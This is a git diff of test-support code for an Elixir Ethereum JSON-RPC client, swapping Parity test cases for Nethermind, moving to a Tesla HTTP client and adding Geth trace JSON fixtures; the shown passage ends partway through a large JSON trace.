@@ defmodule EthereumJSONRPCSyncTest do params_list: [ %{ address_hash: hash, - block_number: :error, + block_number: nil, + value: expected_fetched_balance + }, + %{ + address_hash: hash, + block_number: 4, value: expected_fetched_balance } ] diff --git a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case.ex b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case.ex index 34c62e5de468..194680321d09 100644 --- a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case.ex +++ b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case.ex @@ -15,7 +15,8 @@ defmodule EthereumJSONRPC.Case do environment variable to determine `:json_rpc_named_arguments` `:transport_options` `:url`. Failure to set `ETHEREUM_JSONRPC_HTTP_URL` in this case will raise an `ArgumentError`. - * `EthereumJSONRPC.HTTP.HTTPoison` - HTTP responses from calls to real chain URLs + * `EthereumJSONRPC.HTTP.HTTPoison` - HTTP responses from calls to real chain URLs (using HTTPoison client) + * `EthereumJSONRPC.HTTP.Tesla` - HTTP responses from calls to real chain URLs (using Tesla.Mint client) * `EthereumJSONRPC.HTTP.Mox` - mock HTTP responses, so can be used for HTTP-only behavior like status codes. ## `subscribe_named_arguments` @@ -28,7 +29,7 @@ defmodule EthereumJSONRPC.Case do require Logger setup do - module("ETHEREUM_JSONRPC_CASE", "EthereumJSONRPC.Case.Parity.Mox").setup() + module("ETHEREUM_JSONRPC_CASE", "EthereumJSONRPC.Case.Nethermind.Mox").setup() end def log_bad_gateway(under_test, assertions) do diff --git a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/filecoin/mox.ex b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/filecoin/mox.ex new file mode 100644 index 000000000000..12510755ad9e --- /dev/null +++ b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/filecoin/mox.ex @@ -0,0 +1,17 @@ +defmodule EthereumJSONRPC.Case.Filecoin.Mox do + @moduledoc """ + `EthereumJSONRPC.Case` for mocking connecting to Filecoin using `Mox` + """ + + def setup do + %{ + block_interval: 500, + json_rpc_named_arguments: [ + transport: EthereumJSONRPC.Mox, + transport_options: [http_options: [timeout: 60000, recv_timeout: 60000]], + variant: EthereumJSONRPC.Filecoin + ], + subscribe_named_arguments: [transport: EthereumJSONRPC.Mox, transport_options: []] + } + end +end diff --git a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/geth/http_websocket.ex b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/geth/http_websocket.ex index 05fe92d0ae6c..5845518cf367 100644 --- a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/geth/http_websocket.ex +++ b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/geth/http_websocket.ex @@ -10,9 +10,9 @@ defmodule EthereumJSONRPC.Case.Geth.HTTPWebSocket do :json_rpc_named_arguments, transport: EthereumJSONRPC.HTTP, transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - http_options: [recv_timeout: 60_000, timeout: 60_000, hackney: [pool: :ethereum_jsonrpc]], - url: "https://mainnet.infura.io/8lTvJTKmHPCHazkneJsY" + http: EthereumJSONRPC.HTTP.Tesla, + http_options: [recv_timeout: 60_000, timeout: 60_000, pool: :ethereum_jsonrpc], + urls: ["https://mainnet.infura.io/8lTvJTKmHPCHazkneJsY"] ], variant: EthereumJSONRPC.Geth ) diff --git a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/geth/mox.ex b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/geth/mox.ex index d1f113223d68..41a2593cb946 100644 --- a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/geth/mox.ex +++ b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/geth/mox.ex @@ -6,7 +6,11 @@ defmodule EthereumJSONRPC.Case.Geth.Mox do def setup do %{ block_interval: 500, - json_rpc_named_arguments: [transport: EthereumJSONRPC.Mox, transport_options: [], variant: EthereumJSONRPC.Geth], + json_rpc_named_arguments: [ + transport: EthereumJSONRPC.Mox, + transport_options: [http_options: [timeout: 60000, recv_timeout: 60000]], + variant: EthereumJSONRPC.Geth + ], subscribe_named_arguments: [transport: EthereumJSONRPC.Mox, transport_options: []] } end diff --git a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/nethermind/http_websocket.ex b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/nethermind/http_websocket.ex new file mode 100644 index 000000000000..ef087b5b11d8 --- /dev/null +++ b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/nethermind/http_websocket.ex @@ -0,0 +1,20 @@ +defmodule EthereumJSONRPC.Case.Nethermind.HTTPWebSocket do + @moduledoc """ + `EthereumJSONRPC.Case` for connecting to Nethermind using `EthereumJSONRPC.HTTP` for `json_rpc_named_arguments` + `transport` and `EthereumJSONRPC.WebSocket` for `subscribe_named_arguments` `transport`. + """ + + def setup do + EthereumJSONRPC.WebSocket.Case.Nethermind.setup() + |> Map.put( + :json_rpc_named_arguments, + transport: EthereumJSONRPC.HTTP, + transport_options: [ + http: EthereumJSONRPC.HTTP.Tesla, + http_options: [recv_timeout: 60_000, timeout: 60_000, pool: :ethereum_jsonrpc], + urls: ["http://3.85.253.242:8545"] + ], + variant: EthereumJSONRPC.Nethermind + ) + end +end diff --git a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/nethermind/mox.ex b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/nethermind/mox.ex new file mode 100644 index 000000000000..18b25d4cca55 --- /dev/null +++ b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/nethermind/mox.ex @@ -0,0 +1,17 @@ +defmodule EthereumJSONRPC.Case.Nethermind.Mox do + @moduledoc """ + `EthereumJSONRPC.Case` for mocking connecting to Nethermind using `Mox` + """ + + def setup do + %{ + block_interval: 500, + json_rpc_named_arguments: [ + transport: EthereumJSONRPC.Mox, + transport_options: [], + variant: EthereumJSONRPC.Nethermind + ], + subscribe_named_arguments: [transport: EthereumJSONRPC.Mox, transport_options: []] + } + end +end diff --git a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/parity/http_websocket.ex b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/parity/http_websocket.ex deleted file mode 100644 index 8a4fdd8dacbe..000000000000 --- a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/parity/http_websocket.ex +++ /dev/null @@ -1,20 +0,0 @@ -defmodule EthereumJSONRPC.Case.Parity.HTTPWebSocket do - @moduledoc """ - `EthereumJSONRPC.Case` for connecting to Parity using `EthereumJSONRPC.HTTP` for `json_rpc_named_arguments` - `transport` and `EthereumJSONRPC.WebSocket` for `subscribe_named_arguments` `transport`. - """ - - def setup do - EthereumJSONRPC.WebSocket.Case.Parity.setup() - |> Map.put( - :json_rpc_named_arguments, - transport: EthereumJSONRPC.HTTP, - transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - http_options: [recv_timeout: 60_000, timeout: 60_000, hackney: [pool: :ethereum_jsonrpc]], - url: "http://3.85.253.242:8545" - ], - variant: EthereumJSONRPC.Parity - ) - end -end diff --git a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/parity/mox.ex b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/parity/mox.ex deleted file mode 100644 index 058c8b603451..000000000000 --- a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/case/parity/mox.ex +++ /dev/null @@ -1,13 +0,0 @@ -defmodule EthereumJSONRPC.Case.Parity.Mox do - @moduledoc """ - `EthereumJSONRPC.Case` for mocking connecting to Parity using `Mox` - """ - - def setup do - %{ - block_interval: 500, - json_rpc_named_arguments: [transport: EthereumJSONRPC.Mox, transport_options: [], variant: EthereumJSONRPC.Parity], - subscribe_named_arguments: [transport: EthereumJSONRPC.Mox, transport_options: []] - } - end -end diff --git a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/http/case.ex b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/http/case.ex index f71bd9d64770..7488dc96b8cc 100644 --- a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/http/case.ex +++ b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/http/case.ex @@ -9,7 +9,7 @@ defmodule EthereumJSONRPC.HTTP.Case do transport: EthereumJSONRPC.HTTP, transport_options: [ http: http(), - url: url(), + urls: [url()], http_options: http_options() ] ] @@ -21,7 +21,7 @@ defmodule EthereumJSONRPC.HTTP.Case do end def http_options do - [recv_timeout: 60_000, timeout: 60_000, hackney: [pool: :ethereum_jsonrpc]] + [recv_timeout: 60_000, timeout: 60_000, pool: :ethereum_jsonrpc] end def url do diff --git a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/web_socket/case/mox.ex b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/web_socket/case/mox.ex index 57546f49f17a..465bd1d2da2b 100644 --- a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/web_socket/case/mox.ex +++ b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/web_socket/case/mox.ex @@ -24,12 +24,12 @@ defmodule EthereumJSONRPC.WebSocket.Case.Mox do [] ) end) - |> stub(:start_link, fn _ -> + |> stub(:start_link, fn _, _ -> Task.start_link(__MODULE__, :loop, [%{}]) end) url = "wss://example.com/ws" - web_socket = start_supervised!({web_socket_module, [url, [keepalive: :timer.minutes(10)]]}) + web_socket = start_supervised!(%{id: :ws_client, start: {web_socket_module, :start_link, [url, []]}}) %{ block_interval: @block_interval, diff --git a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/web_socket/case/nethermind.ex b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/web_socket/case/nethermind.ex new file mode 100644 index 000000000000..5d870bfa1e03 --- /dev/null +++ b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/web_socket/case/nethermind.ex @@ -0,0 +1,25 @@ +defmodule EthereumJSONRPC.WebSocket.Case.Nethermind do + @moduledoc """ + `EthereumJSONRPC.WebSocket.Case` connecting to Nethermind. + """ + + import ExUnit.Callbacks, only: [start_supervised!: 1] + + def setup do + url = "ws://3.85.253.242:8546" + web_socket_module = EthereumJSONRPC.WebSocket.WebSocketClient + web_socket = start_supervised!({web_socket_module, [url, [keepalive: :timer.minutes(10)], []]}) + + %{ + block_interval: 5_000, + subscribe_named_arguments: [ + transport: EthereumJSONRPC.WebSocket, + transport_options: %EthereumJSONRPC.WebSocket{ + web_socket: web_socket_module, + web_socket_options: %EthereumJSONRPC.WebSocket.WebSocketClient.Options{web_socket: web_socket}, + url: url + } + ] + } + end +end diff --git a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/web_socket/case/parity.ex b/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/web_socket/case/parity.ex deleted file mode 100644 index d84469aaf959..000000000000 --- a/apps/ethereum_jsonrpc/test/support/ethereum_jsonrpc/web_socket/case/parity.ex +++ /dev/null @@ -1,25 +0,0 @@ -defmodule EthereumJSONRPC.WebSocket.Case.Parity do - @moduledoc """ - `EthereumJSONRPC.WebSocket.Case` connecting to Parity. - """ - - import ExUnit.Callbacks, only: [start_supervised!: 1] - - def setup do - url = "ws://3.85.253.242:8546" - web_socket_module = EthereumJSONRPC.WebSocket.WebSocketClient - web_socket = start_supervised!({web_socket_module, [url, [keepalive: :timer.minutes(10)], []]}) - - %{ - block_interval: 5_000, - subscribe_named_arguments: [ - transport: EthereumJSONRPC.WebSocket, - transport_options: %EthereumJSONRPC.WebSocket{ - web_socket: web_socket_module, - web_socket_options: %EthereumJSONRPC.WebSocket.WebSocketClient.Options{web_socket: web_socket}, - url: url - } - ] - } - end -end diff --git a/apps/ethereum_jsonrpc/test/support/fixture/geth/trace/calltracer.json b/apps/ethereum_jsonrpc/test/support/fixture/geth/trace/calltracer.json new file mode 100644 index 000000000000..bb87f6fe6d00 --- /dev/null +++ b/apps/ethereum_jsonrpc/test/support/fixture/geth/trace/calltracer.json @@ -0,0 +1 @@ +{"result":{"from":"0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","gas":"0x1e58f","gasUsed":"0x1df6c","to":"0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","input":"0x18cbafe50000000000000000000000000000000000000000000000004563918244f40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0000000000000000000000000000000000000000000000000000001cb1242d7e800000000000000000000000000000000000000000000000000000000000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","output":"0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000004563918244f40000000000000000000000000000000000000000000000000000000136dbf40ac09b","calls":[{"from":"0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","gas":"0x1d0f6","gasUsed":"0x943","to":"0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","input":"0xbe1bd331","output":"0x000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","type":"STATICCALL"},{"from":"0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","gas":"0x1c14b","gasUsed":"0xae3","to":"0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","input":"0xe6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","output":"0x0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","type":"STATICCALL"},{"from":"0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","gas":"0x1ab55","gasUsed":"0x117d","to":"0x1fa848857b24b9416355f4b4668a84c842116bf4","input":"0x0902f1ac","output":"0x000000000000000000000000000000000000000000000000c50dfd48a20630e6000000000000000000000000000000000000000000002bda54fce7dbfc916a32","type":"STATICCALL"},{"from":"0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","gas":"0x196e4","gasUsed":"0x313","to":"0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","input":"0xe6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","output":"0x0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","type":"STATICCALL"},{"from":"0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","gas":"0x19244","gasUsed":"0x93a","to":"0x1fa848857b24b9416355f4b4668a84c842116bf4","input":"0x978bbdb9","output":"0x0000000000000000000000000000000000000000000000000000000000000003","type":"STATICCALL"},{"from":"0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","gas":"0x1811c","gasUsed":"0x313","to":"0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","input":"0xe6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","output":"0x0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","type":"STATICCALL"},{"from":"0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","gas":"0x16ea2","gasUsed":"0x3bdc","to":"0x4c711efa05b78582f07d9d960b1dadde95688166","input":"0x23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf40000000000000000000000000000000000000000000000004563918244f40000","output":"0x","value":"0x0","type":"CALL"},{"from":"0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","gas":"0x12d7e","gasUsed":"0x313","to":"0xf856bd95d26d1ad159df54bae8aa49b39c72a9d0","input":"0xe6a439050000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","output":"0x0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","type":"STATICCALL"},{"from":"0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","gas":"0x12815","gasUsed":"0xe131","to":"0x1fa848857b24b9416355f4b4668a84c842116bf4","input":"0x6d9a640a000000000000000000000000000000000000000000000000000136dbf40ac09b000000000000000000000000000000000000000000000000000000000000000000000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","calls":[{"from":"0x1fa848857b24b9416355f4b4668a84c842116bf4","gas":"0xee8c","gasUsed":"0x7581","to":"0x175940b39014cd3a9c87cd6b1d7616a097db958e","input":"0xa9059cbb00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a000000000000000000000000000000000000000000000000000136dbf40ac09b","output":"0x","value":"0x0","type":"CALL"},{"from":"0x1fa848857b24b9416355f4b4668a84c842116bf4","gas":"0x7836","gasUsed":"0x234","to":"0x175940b39014cd3a9c87cd6b1d7616a097db958e","input":"0x70a082310000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","output":"0x000000000000000000000000000000000000000000000000c50cc66cadfb704b","type":"STATICCALL"},{"from":"0x1fa848857b24b9416355f4b4668a84c842116bf4","gas":"0x74a0","gasUsed":"0x259","to":"0x4c711efa05b78582f07d9d960b1dadde95688166","input":"0x70a082310000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","output":"0x000000000000000000000000000000000000000000002bda9a60795e41856a32","type":"STATICCALL"}],"value":"0x0","type":"CALL"},{"from":"0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","gas":"0x47a5","gasUsed":"0x2450","to":"0x175940b39014cd3a9c87cd6b1d7616a097db958e","input":"0x2e1a7d4d000000000000000000000000000000000000000000000000000136dbf40ac09b","calls":[{"from":"0x175940b39014cd3a9c87cd6b1d7616a097db958e","gas":"0x2924","gasUsed":"0x5f","to":"0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","input":"0x","value":"0x136dbf40ac09b","type":"CALL"}],"value":"0x0","type":"CALL"},{"from":"0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","gas":"0x8fc","gasUsed":"0x0","to":"0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","input":"0x","value":"0x136dbf40ac09b","type":"CALL"}],"value":"0x0","type":"CALL"}} diff --git a/apps/ethereum_jsonrpc/test/support/fixture/geth/trace/struct_logger.json b/apps/ethereum_jsonrpc/test/support/fixture/geth/trace/struct_logger.json new file mode 100644 index 000000000000..b3a92cceb44c --- /dev/null +++ b/apps/ethereum_jsonrpc/test/support/fixture/geth/trace/struct_logger.json @@ -0,0 +1 @@ +{"tx":{"blockHash":"0x32230929775684a6ab901927f46c0ad74f707375e650d8c8c0f8f6bcab87ff59","blockNumber":"0x7d126a","from":"0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","gas":"0x23f4f","gasPrice":"0x59682f0d","maxFeePerGas":"0x59682f1a","maxPriorityFeePerGas":"0x59682f00","hash":"0xa0a5c30c5c5ec22b3346e0ae5ce09f8f41faf54f68a2a113eb15e363af90e9ab","input":"0x18cbafe50000000000000000000000000000000000000000000000004563918244f40000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0000000000000000000000000000000000000000000000000000001cb1242d7e800000000000000000000000000000000000000000000000000000000000000020000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","nonce":"0x5","to":"0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","transactionIndex":"0x16","value":"0x0","type":"0x2","accessList":[],"chainId":"0x5","v":"0x0","r":"0x7492d7d5e0bba4e16529d24276aca7939749404cee32407cf2c4bcecca2fd0e2","s":"0x3a7dfb7d1beb5cedcb2a6bfa693e7064af9b76f3faff1603b403d21d5d19b146"},"receipt":{"blockHash":"0x32230929775684a6ab901927f46c0ad74f707375e650d8c8c0f8f6bcab87ff59","blockNumber":"0x7d126a","contractAddress":null,"cumulativeGasUsed":"0x32474e","effectiveGasPrice":"0x59682f0d","from":"0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","gasUsed":"0x1df6c","logs":[{"address":"0x4c711efa05b78582f07d9d960b1dadde95688166","topics":["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4"],"data":"0x0000000000000000000000000000000000000000000000004563918244f40000","blockNumber":"0x7d126a","transactionHash":"0xa0a5c30c5c5ec22b3346e0ae5ce09f8f41faf54f68a2a113eb15e363af90e9ab","transactionIndex":"0x16","blockHash":"0x32230929775684a6ab901927f46c0ad74f707375e650d8c8c0f8f6bcab87ff59","logIndex":"0x37","removed":false},{"address":"0x175940b39014cd3a9c87cd6b1d7616a097db958e","topics":["0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","0x0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0x00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"data":"0x000000000000000000000000000000000000000000000000000136dbf40ac09b","blockNumber":"0x7d126a","transactionHash":"0xa0a5c30c5c5ec22b3346e0ae5ce09f8f41faf54f68a2a113eb15e363af90e9ab","transactionIndex":"0x16","blockHash":"0x32230929775684a6ab901927f46c0ad74f707375e650d8c8c0f8f6bcab87ff59","logIndex":"0x38","removed":false},{"address":"0x1fa848857b24b9416355f4b4668a84c842116bf4","topics":["0x32dc813d3f262a05478ad1165d5701040e411d9a6e1684c8c2da1c8e6f3b8022"],"data":"0x000000000000000000000000000000000000000000000000c50cc66cadfb704b000000000000000000000000000000000000000000002bda9a60795e41856a32","blockNumber":"0x7d126a","transactionHash":"0xa0a5c30c5c5ec22b3346e0ae5ce09f8f41faf54f68a2a113eb15e363af90e9ab","transactionIndex":"0x16","blockHash":"0x32230929775684a6ab901927f46c0ad74f707375e650d8c8c0f8f6bcab87ff59","logIndex":"0x39","removed":false},{"address":"0x1fa848857b24b9416355f4b4668a84c842116bf4","topics":["0xd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822","0x00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"data":"0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004563918244f40000000000000000000000000000000000000000000000000000000136dbf40ac09b0000000000000000000000000000000000000000000000000000000000000000","blockNumber":"0x7d126a","transactionHash":"0xa0a5c30c5c5ec22b3346e0ae5ce09f8f41faf54f68a2a113eb15e363af90e9ab","transactionIndex":"0x16","blockHash":"0x32230929775684a6ab901927f46c0ad74f707375e650d8c8c0f8f6bcab87ff59","logIndex":"0x3a","removed":false},{"address":"0x175940b39014cd3a9c87cd6b1d7616a097db958e","topics":["0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65","0x00000000000000000000000087132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"data":"0x000000000000000000000000000000000000000000000000000136dbf40ac09b","blockNumber":"0x7d126a","transactionHash":"0xa0a5c30c5c5ec22b3346e0ae5ce09f8f41faf54f68a2a113eb15e363af90e9ab","transactionIndex":"0x16","blockHash":"0x32230929775684a6ab901927f46c0ad74f707375e650d8c8c0f8f6bcab87ff59","logIndex":"0x3b","removed":false}],"logsBloom":"0x00200000000020000000000020800200000000000000100000000000000000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000008000000200000000000400000002000000004000000000000000000000000000000000000000000000008040000000010000000000000000000000000000000000000000000000000000000000000004210000000000000000000000000008010000001800400000008000000000000000000000000000002000000000000000000000000000000000000000000000002000040000000000000400000000020000000008000000000000000000000000000000000","status":"0x1","to":"0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","transactionHash":"0xa0a5c30c5c5ec22b3346e0ae5ce09f8f41faf54f68a2a113eb15e363af90e9ab","transactionIndex":"0x16","type":"0x2"},"result":{"gas":122732,"failed":false,"returnValue":"000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000004563918244f40000000000000000000000000000000000000000000000000000000136dbf40ac09b","structLogs":[{"pc":0,"op":"PUSH1","gas":124303,"gasCost":3,"depth":1,"stack":[],"memory":[]},{"pc":2,"op":"PUSH1","gas":124300,"gasCost":3,"depth":1,"stack":["0x80"],"memory":[]},{"pc":4,"op":"MSTORE","gas":124297,"gasCost":12,"depth":1,"stack":["0x80","0x40"],"memory":[]},{"pc":5,"op":"PUSH1","gas":124285,"gasCost":3,"depth":1,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7,"op":"CALLDATASIZE","gas":124282,"gasCost":2,"depth":1,"stack":["0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8,"op":"LT","gas":124280,"gasCost":3,"depth":1,"stack":["0x4","0x104"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":9,"op":"PUSH2","gas":124277,"gasCost":3,"depth":1,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":12,"op":"JUMPI","gas":124274,"gasCost":10,"depth":1,"stack":["0x0","0x12d"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":13,"op":"PUSH1","gas":124264,"gasCost":3,"depth":1,"stack":[],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":15,"op":"CALLDATALOAD","gas":124261,"gasCost":3,"depth":1,"stack":["0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":16,"op":"PUSH1","gas":124258,"gasCost":3,"depth":1,"stack":["0x18cbafe500000000000000000000000000000000000000000000000045639182"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":18,"op":"SHR","gas":124255,"gasCost":3,"depth":1,"stack":["0x18cbafe500000000000000000000000000000000000000000000000045639182","0xe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":19,"op":"DUP1","gas":124252,"gasCost":3,"depth":1,"stack":["0x18cbafe5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":20,"op":"PUSH4","gas":124249,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x18cbafe5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":25,"op":"GT","gas":124246,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x18cbafe5","0xad5c4648"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":26,"op":"PUSH2","gas":124243,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":29,"op":"JUMPI","gas":124240,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1","0xa5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":165,"op":"JUMPDEST","gas":124230,"gasCost":1,"depth":1,"stack":["0x18cbafe5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":166,"op":"DUP1","gas":124229,"gasCost":3,"depth":1,"stack":["0x18cbafe5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":167,"op":"PUSH4","gas":124226,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x18cbafe5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":172,"op":"GT","gas":124223,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x18cbafe5","0x38ed1739"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":173,"op":"PUSH2","gas":124220,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":1